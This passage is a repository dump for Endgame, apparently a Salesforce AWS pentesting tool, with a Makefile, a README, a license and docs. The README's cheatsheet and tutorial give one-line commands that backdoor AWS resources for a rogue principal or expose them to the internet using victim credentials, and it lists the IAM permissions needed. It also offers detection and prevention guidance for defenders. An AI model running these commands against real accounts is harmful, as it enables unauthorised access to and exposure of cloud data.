  sha256 \"fbb6a52eb2d9facf292f233adcc6008cffd94343c63ccac9a1cb1f3e6de1db17\"\n  end\n\n  resource \"six\" do\n    url \"https://files.pythonhosted.org/packages/6b/34/415834bfdafca3c5f451532e8a8d9ba89a21c9743a0c59fbd0205c7f9426/six-1.15.0.tar.gz\"\n    sha256 \"30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259\"\n  end\n\n  resource \"soupsieve\" do\n    url \"https://files.pythonhosted.org/packages/54/b9/1584ee0cd971ea935447c87bbc9d195d981feec446dd0af799d9d95c9d86/soupsieve-2.2.tar.gz\"\n    sha256 \"407fa1e8eb3458d1b5614df51d9651a1180ea5fedf07feb46e45d7e25e6d6cdd\"\n  end\n\n  resource \"urllib3\" do\n    url \"https://files.pythonhosted.org/packages/d7/8d/7ee68c6b48e1ec8d41198f694ecdc15f7596356f2ff8e6b1420300cf5db3/urllib3-1.26.3.tar.gz\"\n    sha256 \"de3eedaad74a2683334e282005cd8d7f22f4d55fa690a2a1020a416cb0a47e73\"\n  end\n\n  def install\n    virtualenv_create(libexec, \"python3\")\n    virtualenv_install_with_resources\n  end\n\n  test do\n    false\n  end\nend\n"
  },
  {
    "path": "LICENSE",
    "content": "Copyright 2021 Salesforce.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"),\nto deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\nand/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\nIN THE SOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": "SHELL:=/bin/bash\n\n.PHONY: setup-env\nsetup-env:\n\tpython3 -m venv ./venv && source venv/bin/activate\n\tpython3 -m pip install -r requirements.txt\n\n.PHONY: setup-dev\nsetup-dev: setup-env\n\tpython3 -m pip install -r requirements-dev.txt\n\n.PHONY: build-docs\nbuild-docs: setup-dev\n\tmkdocs build\n\n.PHONY: serve-docs\nserve-docs: setup-dev\n\tmkdocs serve --dev-addr \"127.0.0.1:8001\"\n\n.PHONY: build\nbuild: setup-env clean\n\tpython3 -m pip install --upgrade setuptools wheel\n\tpython3 -m setup -q sdist bdist_wheel\n\n.PHONY: install\ninstall: build\n\tpython3 -m pip install -q ./dist/endgame*.tar.gz\n\tendgame --help\n\n.PHONY: uninstall\nuninstall:\n\tpython3 -m pip uninstall endgame -y\n\tpython3 -m pip uninstall -r requirements.txt -y\n\tpython3 -m pip uninstall -r requirements-dev.txt -y\n\tpython3 -m pip freeze | xargs python3 -m pip uninstall -y\n\n.PHONY: clean\nclean:\n\trm -rf dist/\n\trm -rf build/\n\trm -rf *.egg-info\n\tfind . -name '*.pyc' -delete\n\tfind . -name '*.pyo' -delete\n\tfind . -name '*.egg-link' -delete\n\tfind . -name '*.pyc' -exec rm --force {} +\n\tfind . -name '*.pyo' -exec rm --force {} +\n\n.PHONY: test\ntest: setup-dev\n\tpython3 -m coverage run -m pytest -v\n\n.PHONY: security-test\nsecurity-test: setup-dev\n\tbandit -r ./endgame/\n\n.PHONY: fmt\nfmt: setup-dev\n\tblack endgame/\n\n.PHONY: lint\nlint: setup-dev\n\tpylint endgame/\n\n.PHONY: publish\npublish: build\n\tpython3 -m pip install --upgrade twine\n\tpython3 -m twine upload dist/*\n\tpython3 -m pip install endgame\n\n.PHONY: count-loc\ncount-loc:\n\techo \"If you don't have tokei installed, you can install it with 'brew install tokei'\"\n\techo \"Website: https://github.com/XAMPPRocky/tokei#installation'\"\n\ttokei ./* --exclude --exclude '**/*.html' --exclude '**/*.json'\n\n.PHONY: terraform-demo\nterraform-demo:\n\tcd terraform && terraform init && terraform apply --auto-approve\n\n.PHONY: terraform-destroy\nterraform-destroy:\n\tcd terraform && terraform destroy --auto-approve\n\n.PHONY: integration-test\nintegration-test: setup-dev\n\tpython3 -m invoke test.list-resources\n\tpython3 -m invoke test.expose-dry-run\n\tpython3 -m invoke test.expose\n\tpython3 -m invoke test.expose-undo\n\tmake terraform-destroy\n\n"
  },
  {
    "path": "README.md",
    "content": "# Endgame\n\nAn AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account - or share the resources with the entire internet 😈\n\n[![continuous-integration](https://github.com/salesforce/endgame/workflows/continuous-integration/badge.svg?)](https://github.com/salesforce/endgame/actions?query=workflow%3Acontinuous-integration)\n[![Documentation Status](https://readthedocs.org/projects/endgame/badge/?version=latest)](https://endgame.readthedocs.io/en/latest/?badge=latest)\n[![Join the chat at https://gitter.im/salesforce/endgame](https://badges.gitter.im/salesforce/endgame.svg)](https://gitter.im/salesforce/endgame?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)\n[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/kmcquade3.svg?style=social&label=Follow%20the%20author)](https://twitter.com/kmcquade3)\n[![Downloads](https://pepy.tech/badge/endgame)](https://pepy.tech/project/endgame)\n\n<p align=\"center\">\n  <img src=\"docs/images/endgame.gif\">\n</p>\n\n**TL;DR**: `endgame smash --service all` to create backdoors across your entire AWS account - by sharing resources either with a rogue IAM user/role or with the entire Internet.\n\n# Endgame: Creating Backdoors in AWS\n\nEndgame abuses AWS's resource permission model to grant rogue users (or the Internet) access to an AWS account's resources with a single command. It does this through one of three methods:\n1. Modifying [resource-based policies](https://endgame.readthedocs.io/en/latest/resource-policy-primer/) (such as [S3 Bucket policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteAccessPermissionsReqd.html#bucket-policy-static-site) or [Lambda Function policies](https://docs.aws.amazon.com/lambda/latest/dg/access-control-resource-based.html#permissions-resource-xaccountinvoke))\n2. Resources that can be made public through sharing APIs (such as [Amazon Machine Images (AMIs)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html), [EBS disk snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html), and [RDS database snapshots](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html))\n3. Sharing resources via [AWS Resource Access Manager (RAM)](https://docs.aws.amazon.com/ram/latest/userguide/shareable.html)\n\nEndgame was created to:\n* Push [AWS](https://endgame.readthedocs.io/en/latest/recommendations-to-aws/) to improve coverage of AWS Access Analyzer so AWS users can protect themselves.\n* Show [blue teams](#recommendations-to-blue-teams) and developers what kind of damage can be done by overprivileged/leaked accounts.\n* Help red teams to demonstrate impact of their access.\n\nEndgame demonstrates (with a bit of shock and awe) how simple human errors in excessive permissions (such a granting `s3:*` access instead of `s3:GetObject`) can be abused by attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves. This is what inspired us to write this tool. Follow the [Tutorial](#tutorial) and observe how you can expose resources across **17 different AWS services** to the Internet in a matter of seconds.\n\nThe resource types that can be exposed are of high value to attackers. This can include:\n* Privileged compute access (by exposing who can invoke `lambda` functions)\n* Database snapshots (`rds`), Storage buckets (`s3`), file systems (`elasticfilesystem`), storage backups (`glacier`), disk snapshots (`ebs` snapshots),\n* Encryption keys (`kms`), secrets (`secretsmanager`), and private certificate authorities (`acm-pca`)\n* Messaging and notification services (`sqs` queues, `sns` topics, `ses` authorized senders)\n* Compute artifacts (`ec2` AMIs, `ecr` images, `lambda` layers)\n* Logging endpoints (`cloudwatch` resource policies)\n* Search and analytics engines (`elasticsearch` clusters)\n\nEndgame is an attack tool, but it was written with a specific purpose. We wrote this tool for the following audiences:\n1. **AWS**: We want AWS to empower their customers with the capabilities to fight these attacks. Our recommendations are outlined in the [Recommendations to AWS](#recommendations-to-aws) section.\n2. **AWS Customers and their customers**: It is better to have risks be more easily understood and know how to mitigate those risks than to force people to fight something novel. By increasing awareness about Resource Exposure and excessive permissions, we can protect ourselves against attacks where the attackers previously held the advantage and AWS customers were previously left blind.\n3. **Blue Teams**: Defense teams can leverage the guidance around user-agent detection, API call detection, and behavioral detection outlined in the [Recommendations to Blue Teams](#recommendations-to-blue-teams) section.\n4. **Red Teams**: This will make for some very eventful red team exercises. Make sure you give the Blue Team kudos when they catch you!\n\n## Supported Backdoors\n\nEndgame can create backdoors for resources in any of the services listed in the table below.\n\nNote: At the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊\n\n| Backdoor Resource Type                                  | Endgame | [AWS Access Analyzer Support][1] |\n|---------------------------------------------------------|---------|----------------------------------|\n| [ACM Private CAs](https://endgame.readthedocs.io/en/latest/risks/acm-pca/)                | ✅     | ❌                               |\n| [CloudWatch Resource Policies](https://endgame.readthedocs.io/en/latest/risks/logs/)      | ✅     | ❌                               |\n| [EBS Volume Snapshots](https://endgame.readthedocs.io/en/latest/risks/ebs/)               | ✅     | ❌                               |\n| [EC2 AMIs](https://endgame.readthedocs.io/en/latest/risks/amis/)                          | ✅     | ❌                               |\n| [ECR Container Repositories](https://endgame.readthedocs.io/en/latest/risks/ecr/)         | ✅     | ❌                               |\n| [EFS File Systems](https://endgame.readthedocs.io/en/latest/risks/efs/)                   | ✅     | ❌                               |\n| [ElasticSearch Domains](https://endgame.readthedocs.io/en/latest/risks/es/)               | ✅     | ❌                               |\n| [Glacier Vault Access Policies](https://endgame.readthedocs.io/en/latest/risks/glacier/)  | ✅     | ❌                               |\n| [IAM Roles](https://endgame.readthedocs.io/en/latest/risks/iam-roles/)                    | ✅     | ✅                               |\n| [KMS Keys](https://endgame.readthedocs.io/en/latest/risks/kms/)                           | ✅     | ✅                               |\n| [Lambda Functions](docs/risks/lambda-functions.md)      | ✅     | ✅                               |\n| [Lambda Layers](https://endgame.readthedocs.io/en/latest/risks/lambda-layers/)            | ✅     | ✅                               |\n| [RDS Snapshots](https://endgame.readthedocs.io/en/latest/risks/rds-snapshots/)            | ✅     | ❌                               |\n| [S3 Buckets](https://endgame.readthedocs.io/en/latest/risks/s3/)                          | ✅     | ✅                               |\n| [Secrets Manager Secrets](https://endgame.readthedocs.io/en/latest/risks/secretsmanager/) | ✅     | ✅                               |\n| [SES Sender Authorization Policies](https://endgame.readthedocs.io/en/latest/risks/ses/)  | ✅     | ❌                               |\n| [SQS Queues](https://endgame.readthedocs.io/en/latest/risks/sns/)                         | ✅     | ✅                               |\n| [SNS Topics](https://endgame.readthedocs.io/en/latest/risks/sqs/)                         | ✅     | ❌                               |\n\n\n# Cheatsheet\n\n```bash\n# this will ruin your day\nendgame smash --service all --evil-principal \"*\"\n# This will show you how your day could have been ruined\nendgame smash --service all --evil-principal \"*\" --dry-run\n# Atone for your sins\nendgame smash --service all --evil-principal \"*\" --undo\n# Consider maybe atoning for your sins\nendgame smash --service all --evil-principal \"*\" --undo --dry-run\n\n# List resources available for exploitation\nendgame list-resources --service all\n# Expose specific resources\nendgame expose --service s3 --name computers-were-a-mistake\n```\n\n# Tutorial\n\nThe prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies.\n\nEndgame can run in two modes, `expose` or `smash`. The less-destructive `expose` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean).\n\n`smash`, on the other hand, is more destructive (and louder). `smash` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the \"evil principal\" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies.\n\n## Installation\n\n* pip3\n\n```bash\npip3 install --user endgame\n```\n\n* Homebrew (this will not work until the repository is public)\n\n```bash\nbrew tap salesforce/endgame https://github.com/salesforce/endgame\nbrew install endgame\n```\n\nNow you should be able to execute Endgame from command line by running `endgame --help`.\n\n### Shell Completion\n\n* To enable Bash completion, put this in your `~/.bashrc`:\n\n```bash\neval \"$(_ENDGAME_COMPLETE=source endgame)\"\n```\n\n* To enable ZSH completion, put this in your `~/.zshrc`:\n\n```bash\neval \"$(_ENDGAME_COMPLETE=source_zsh endgame)\"\n```\n\n## Step 1: Setup\n\n* First, authenticate to AWS CLI using credentials to the victim's account.\n\n* Set the environment variables for `EVIL_PRINCIPAL` (required). Optionally, set the environment variables for `AWS_REGION` and `AWS_PROFILE`.\n\n```bash\n# Set `EVIL_PRINCIPAL` environment variable to the rogue IAM User or \n# Role that you want to give access to.\nexport EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil\n\n# If you don't supply these values, these will be the defaults.\nexport AWS_REGION=\"us-east-1\"\nexport AWS_PROFILE=\"default\"\n```\n\n## Step 2: Create Demo Infrastructure\n\nThis program makes modifications to live AWS Infrastructure, which can vary from account to account. We have bootstrapped some of this for you using [Terraform](https://www.terraform.io/intro/index.html).\n\n\n> **Warning: This will create real AWS infrastructure and will cost you money. Be sure to create this in a test account, and destroy the Terraform resources afterwards.**\n\n```bash\n# To create the demo infrastructure\nmake terraform-demo\n```\n\n## Step 3: List Victim Resources\n\nYou can use the `list-resources` command to list resources in the account that you can backdoor.\n\n* Examples:\n\n```bash\n# List IAM Roles, so you can create a backdoor via their AssumeRole policies\nendgame list-resources -s iam\n\n# List S3 buckets, so you can create a backdoor via their Bucket policies \nendgame list-resources --service s3\n\n# List all resources across services that can be backdoored\nendgame list-resources --service all\n```\n\n## Step 4: Backdoor specific resources\n\n* Use the `--dry-run` command first to test it without modifying anything:\n\n```bash\nendgame expose --service iam --name test-resource-exposure --dry-run\n```\n\n* To create the backdoor to that resource from your rogue account, run the following:\n\n```bash\nendgame expose --service iam --name test-resource-exposure\n```\n\nExample output:\n\n<p align=\"center\">\n  <img src=\"docs/images/add-myself-foreal.png\">\n</p>\n\n## Step 5: Roll back changes\n\n* If you want to atone for your sins (optional) you can use the `--undo` flag to roll back the changes.\n\n```bash\nendgame expose --service iam --name test-resource-exposure --undo\n```\n\n<p align=\"center\">\n  <img src=\"docs/images/add-myself-undo.png\">\n</p>\n\n## Step 6: Smash your AWS Account to Pieces\n\n* To expose every exposable resource in your AWS account, run the following command.\n\n> Warning: If you supply the argument `--evil-principal *` or the environment variable `EVIL_PRINCIPAL=*`, it will expose the account to the internet. If you do this, it is possible that an attacker could assume your privileged IAM roles, take over the other [supported resources](#supported-backdoors) present in that account, or incur a massive bill. As such, you might want to set `--evil-principal` to your own AWS user/role in another account.\n\n```bash\nendgame smash --service all --dry-run\nendgame smash --service all\nendgame smash --service all --undo\n```\n\n## Step 7: Destroy Demo Infrastructure\n\n* Now that you are done with the tutorial, don't forget to clean up the demo infrastructure.\n\n```bash\n# Destroy the demo infrastructure\nmake terraform-destroy\n```\n\n# Recommendations\n\n## Recommendations to AWS\n\nWhile [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produced AWS IAM assessment tool), showed us the pervasiveness of least privilege violations in AWS IAM across the industry, Endgame shows us how it is already easy for attackers. These are not new attacks, but AWS's ability to **detect** _and_ **prevent** these attacks falls short of what customers need to protect themselves.\n\n[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) is a tool produced by AWS that helps you identify the resources in your organization and accounts, such as Amazon S3 buckets or IAM roles, that are shared with an external entity. In short, it **detects** instances of this resource exposure problem. However, it does not by itself meet customer need, due to current gaps in coverage and the lack of preventative tooling to compliment it.\n\nAt the time of this writing, [AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) does **NOT** support auditing **11 out of the 18 services** that Endgame attacks. Given that Access Analyzer is intended to detect this exact kind of violation, we kindly suggest to the AWS Team that they support all resources that can be attacked using Endgame. 😊\n\nThe lack of preventative tooling makes this issue more difficult for customers. Ideally, customers should be able to say, _\"Nobody in my AWS Organization is allowed to share **any** resources that can be exposed by Endgame outside of the organization, unless that resource is in an exemption list.\"_ This **should** be possible, but it is not. It is not even possible to use [AWS Service Control Policies (SCPS)](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) - AWS's preventative guardrails service - to prevent `sts:AssumeRole` calls from outside your AWS Organization. The current SCP service limit of 5 SCPs per AWS account compounds this problem.\n\nWe recommend that AWS take the following measures in response:\n* Increase Access Analyzer Support to cover the resources that can be exposed via Resource-based Policy modification, AWS RAM resource sharing, and resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs)\n* Support the usage of `sts:AssumeRole` to prevent calls from outside your AWS Organization, with targeted exceptions.\n* Add IAM Condition Keys to all the IAM Actions that are used to perform Resource Exposure. These IAM Condition Keys should be used to prevent these resources from (1) being shared with the public **and** (2) being shared outside of your `aws:PrincipalOrgPath`.\n* Expand the current limit of 5 SCPs per AWS account to 200. (for comparison, the Azure equivalent - Azure Policies - has a limit of [200 Policy or Initiative Assignments per subscription](https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits#azure-policy-limits))\n* Improve the AWS SCP service to support an \"Audit\" mode that would record in CloudTrail whether API calls would have been denied had the SCP not been in audit mode. This would increase customer adoption and make it easier for customers to both pilot and roll out new guardrails. (for comparison, the Azure Equivalent - Azure Policies - already [supports Audit mode](https://docs.microsoft.com/en-us/azure/governance/policy/concepts/effects#audit).\n\n* Create GuardDuty rules that detect **public** exposure of resources. This may garner more immediate customer attention than Access Analyzer alerts, as they are considered high priority by Incident Response teams, and some customers have not onboarded to Access Analyzer yet.\n\n## Recommendations to Blue Teams\n\n### Detection\n\nThere are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.\n1. [User Agent Detection (Endgame specific)](https://endgame.readthedocs.io/en/latest/detection/#user-agent-detection)\n2. [API call detection](https://endgame.readthedocs.io/en/latest/detection/#api-call-detection)\n3. [Behavioral-based detection](https://endgame.readthedocs.io/en/latest/detection/#behavioral-based-detection)\n4. [AWS Access Analyzer](https://endgame.readthedocs.io/en/latest/detection/#aws-access-analyzer)\n\nWhile (1) User Agent Detection is specific to the usage of Endgame, (2) API Call Detection, (3) Behavioral-based detection, and (4) AWS Access Analyzer are strategies to detect Resource Exposure Attacks, regardless of if the attacker is using Endgame to do it.\n\n### Prevention\n\nThere are 6 general methods that blue teams can use to **prevent** AWS Resource Exposure Attacks. See the links below for more detailed guidance per method.\n\n1. [Use AWS KMS Customer-Managed Keys to encrypt resources](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys)\n2. [Leverage Strong Resource-based policies](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies)\n3. [Trusted Accounts Only](https://endgame.readthedocs.io/en/latest/prevention/#trusted-accounts-only)\n4. [Inventory which IAM Principals are capable of Resource Exposure](https://endgame.readthedocs.io/en/latest/prevention/#inventory-which-iam-principals-are-capable-of-resource-exposure)\n5. [AWS Service Control Policies](https://endgame.readthedocs.io/en/latest/prevention/#aws-service-control-policies)\n6. [Prevent AWS RAM External Principals](https://endgame.readthedocs.io/en/latest/prevention/#prevent-aws-ram-external-principals)\n\n### Further Blue Team Reading\n\nAdditional information on AWS resource policies, how this tool works in the victim account, and identification/containment suggestions is [here](docs/resource-policy-primer.md).\n\n# IAM Permissions\n\nThe IAM Permissions listed below are used to create these backdoors.\n\nYou don't need **all** of these permissions to run the tool. You just need enough from each service. For example, `s3:ListAllMyBuckets`, `s3:GetBucketPolicy`, and `s3:PutBucketPolicy` are all the permissions needed to leverage this tool to expose S3 buckets.\n\n```json\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n            {\n            \"Sid\": \"IAmInevitable\",\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"acm-pca:DeletePolicy\",\n                \"acm-pca:GetPolicy\",\n                \"acm-pca:ListCertificateAuthorities\",\n                \"acm-pca:PutPolicy\",\n                \"ec2:DescribeImageAttribute\",\n                \"ec2:DescribeImages\",\n                \"ec2:DescribeSnapshotAttribute\",\n                \"ec2:DescribeSnapshots\",\n                \"ec2:ModifySnapshotAttribute\",\n                \"ec2:ModifyImageAttribute\",\n                \"ecr:DescribeRepositories\",\n                \"ecr:DeleteRepositoryPolicy\",\n                \"ecr:GetRepositoryPolicy\",\n                \"ecr:SetRepositoryPolicy\",\n                \"elasticfilesystem:DescribeFileSystems\",\n                \"elasticfilesystem:DescribeFileSystemPolicy\",\n                \"elasticfilesystem:PutFileSystemPolicy\",\n                \"es:DescribeElasticsearchDomainConfig\",\n                \"es:ListDomainNames\",\n                \"es:UpdateElasticsearchDomainConfig\",\n                \"glacier:GetVaultAccessPolicy\",\n                \"glacier:ListVaults\",\n                \"glacier:SetVaultAccessPolicy\",\n                \"iam:GetRole\",\n                \"iam:ListRoles\",\n                \"iam:UpdateAssumeRolePolicy\",\n                \"kms:GetKeyPolicy\",\n                \"kms:ListKeys\",\n                \"kms:ListAliases\",\n                \"kms:PutKeyPolicy\",\n                \"lambda:AddLayerVersionPermission\",\n                \"lambda:AddPermission\",\n                \"lambda:GetPolicy\",\n                \"lambda:GetLayerVersionPolicy\",\n                \"lambda:ListFunctions\",\n                \"lambda:ListLayers\",\n                \"lambda:ListLayerVersions\",\n                \"lambda:RemoveLayerVersionPermission\",\n                \"lambda:RemovePermission\",\n                \"logs:DescribeResourcePolicies\",\n                \"logs:DeleteResourcePolicy\",\n                \"logs:PutResourcePolicy\",\n                \"rds:DescribeDbClusterSnapshots\",\n                \"rds:DescribeDbClusterSnapshotAttributes\",\n                \"rds:DescribeDbSnapshots\",\n                \"rds:DescribeDbSnapshotAttributes\",\n                \"rds:ModifyDbSnapshotAttribute\",\n                \"rds:ModifyDbClusterSnapshotAttribute\",\n                \"s3:GetBucketPolicy\",\n                \"s3:ListAllMyBuckets\",\n                \"s3:PutBucketPolicy\",\n                \"secretsmanager:GetResourcePolicy\",\n                \"secretsmanager:DeleteResourcePolicy\",\n                \"secretsmanager:ListSecrets\",\n                \"secretsmanager:PutResourcePolicy\",\n                \"ses:DeleteIdentityPolicy\",\n                \"ses:GetIdentityPolicies\",\n                \"ses:ListIdentities\",\n                \"ses:ListIdentityPolicies\",\n                \"ses:PutIdentityPolicy\",\n                \"sns:AddPermission\",\n                \"sns:ListTopics\",\n                \"sns:GetTopicAttributes\",\n                \"sns:RemovePermission\",\n                \"sqs:AddPermission\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:ListQueues\",\n                \"sqs:RemovePermission\"\n            ],\n            \"Resource\": \"*\"\n        }\n    ]\n}\n```\n\n# Contributing\n\nWant to contribute back to endgame? This section outlines our philosophy, the test suite, and issue tracking, and will house more details on the development flow and design as the tool matures.\n\n**Impostor Syndrome Disclaimer**\n\nBefore we get into the details: We want your help. No, really.\n\nThere may be a little voice inside your head that is telling you that you're not ready to be an open source contributor; that your skills aren't nearly good enough to contribute. What could you possibly offer a project like this one?\n\nWe assure you -- the little voice in your head is wrong. If you can write code at all, you can contribute code to open source. Contributing to open source projects is a fantastic way to advance one's coding skills. Writing perfect code isn't the measure of a good developer (that would disqualify all of us!); it's trying to create something, making mistakes, and learning from those mistakes. That's how we all improve.\n\nWe've provided some clear Contribution Guidelines that you can read here. The guidelines outline the process that you'll need to follow to get a patch merged. By making expectations and process explicit, we hope it will make it easier for you to contribute.\n\nAnd you don't just have to write code. You can help out by writing documentation, tests, or even by giving feedback about this work. (And yes, that includes giving feedback about the contribution guidelines.)\n\n## Testing\n\n### Unit tests\n\n* Run [pytest](https://docs.pytest.org/en/stable/) with the following:\n\n```bash\nmake test\n```\n\n### Security tests\n\n* Run [bandit](https://bandit.readthedocs.io/en/latest/) with the following:\n\n```bash\nmake security-test\n```\n\n### Integration tests\n\nAfter making any modifications to the program, you can run a full-fledged integration test, using this program against your own test infrastructure in AWS.\n\n* First, set your environment variables\n\n```bash\n# Set the environment variable for the username that you will create a backdoor for.\nexport EVIL_PRINCIPAL=\"arn:aws:iam::999988887777:user/evil\"\nexport AWS_REGION=\"us-east-1\"\nexport AWS_PROFILE=\"default\"\n```\n\n* Then run the full-fledged integration test:\n\n```bash\nmake integration-test\n```\n\nThis does the following:\n* Sets up your local dev environment (see `setup-dev`) in the `Makefile`\n* Creates the Terraform infrastructure (see `terraform-demo` in the `Makefile`)\n* Runs `list-resources`, `exploit --dry-run`, and `expose` against this live infrastructure\n* Destroys the Terraform infrastructure (see `terraform-destroy` in the `Makefile`)\n\nNote that the `expose` command will not expose the resources to the world - it will only expose them to your rogue user, not to the world.\n\n# References\n\n* [Example Splunk Dashboard for AWS Resource Exposure](https://kmcquade.github.io/rick/)\n* [AWS Access Analyzer Supported Resources](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html)\n* [AWS Exposable Resources](https://github.com/SummitRoute/aws_exposable_resources)\n* [Moto: A library that allows you to easily mock out tests based on AWS Infrastructure](http://docs.getmoto.org/en/latest/docs/moto_apis.html)\n* [Imposter Syndrome Disclaimer created by Adrienne Friend](https://github.com/adriennefriend/imposter-syndrome-disclaimer)\n\n[1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html\n"
  },
  {
    "path": "SECURITY.md",
    "content": "## Security\n\nPlease report any security issue to [security@salesforce.com](mailto:security@salesforce.com)\nas soon as it is discovered. This library limits its runtime dependencies in\norder to reduce the total cost of ownership as much as can be, but all consumers\nshould remain vigilant and have their security stakeholders review all third-party\nproducts (3PP) like this one and their dependencies."
  },
  {
    "path": "docs/appendices/acm-pca-activation.md",
    "content": "# ACM PCA Activation\n\nWhile the rest of the infrastructure deployed via the Terraform resources is ready to go as soon as `make terraform-demo` is finished, you will need to do some manual follow-up steps in ACM PCA for the demo to work.\n\nFollow the steps below to activate the PCA. After following these steps, you can successfully perform the Resource Exposure activities.\n\n## Create Terraform Resources\n\n* Run the Terraform code to generate the example AWS resources.\n\n```bash\nmake terraform-demo\n```\n\n## Follow-up steps to activate ACM PCA\n\n\nThe ACM Private Certificate Authority will have been created - but you won't be able to use it yet. Per [the Terraform docs on [aws_acmpca_certificate_authority](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/acmpca_certificate_authority), \"Creating this resource will leave the certificate authority in a `PENDING_CERTIFICATE status`, which means it cannot yet issue certificates.\"\n\n* To solve this, navigate to the AWS Console in the selected region. Observe how the certificate authority is in the `PENDING_CERTIFICATE` status, as shown in the image below.\n\n> ![ACM PCA Pending Status](../images/acm-pca-action-required.png)\n\n* Select \"Install a CA Certificate to activate your CA\", as shown in the image above, marked by the **red box**.\n\n* A wizard will pop up. Use the default settings and hit **\"Next\"**, then **\"Confirm and Install\"**.\n\n* Observe that your root CA certificate was installed successfully, and that the STATUS of the CA is ACTIVE and able to issue private certificates.\n\n.. and now you are ready to pwn that root certificate with this tool 😈\n"
  },
  {
    "path": "docs/appendices/faq.md",
    "content": "# FAQ\n\n## Where does AWS Access Analyzer fall short?\n\n[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html) analyzes new or updated resource-based policies within 30 minutes of policy updates (triggered by CloudTrail log entries), and during periodic scans (every 24 hours). If an attacker leverages the `expose` or `smash` commands but quickly rolls back the changes with `--undo`, you might not find out about the attack with Access Analyzer until 30 minutes later.\n\nHowever, Access Analyzer can still be especially useful in ensuring that if attacks do gain a foothold in your infrastructure. If the attacker ran Endgame or perform resource exposure attacks without the tool, you can still use Access Analyzer to alert on those changes so you can respond to the issue, instead of allowing a persistent backdoor.\n\nThe primary drawback with AWS Access Analyzer is that it does not support 11/17 resource types currently supported by Endgame. It also does not support AWS RAM Resource sharing outside of your trust zone, or resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, and EC2 AMIs).\n\nSee the [Recommendations to AWS](../recommendations-to-aws.md) section for more details.\n\n## Related Tools in the Ecosystem\n\n### Attack tools\n\n[Pacu](https://github.com/RhinoSecurityLabs/pacu/) is an AWS exploitation framework created by [Spencer Gietzen](https://twitter.com/SpenGietz), designed for testing the security of Amazon Web Services environments. The [iam__backdoor_assume_role](https://github.com/RhinoSecurityLabs/pacu/blob/master/modules/iam__backdoor_assume_role/main.py) module was a particular point of inspiration for `endgame` - it creates backdoors in IAM roles by creating trust relationships with one or more roles in the account, allowing those users to assume those roles after they are no longer using their current set of credentials.\n\n### Detection/scanning tools\n\n[Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/), is an AWS IAM assessment tool produced by [Kinnaird McQuade](https://twitter.com/kmcquade3) that showed us the pervasiveness of least privilege violations in AWS IAM across the industry. Two findings of particular interest to `endgame` are Resource Exposure and Service Wildcards. Resource Exposure describes actions that grant access to share resources with rogue accounts or to the internet - i.e., modifying Resource-based Policies, sharing resources with AWS RAM, or via resource-specific sharing APIs (such as RDS snapshots, EBS snapshots, or EC2 AMIs).\n\n### Prevention tools\n\n[Policy Sentry](https://engineering.salesforce.com/salesforce-cloud-security-automating-least-privilege-in-aws-iam-with-policy-sentry-b04fe457b8dc) is a least-privilege\n IAM Authoring tool created by [Kinnaird 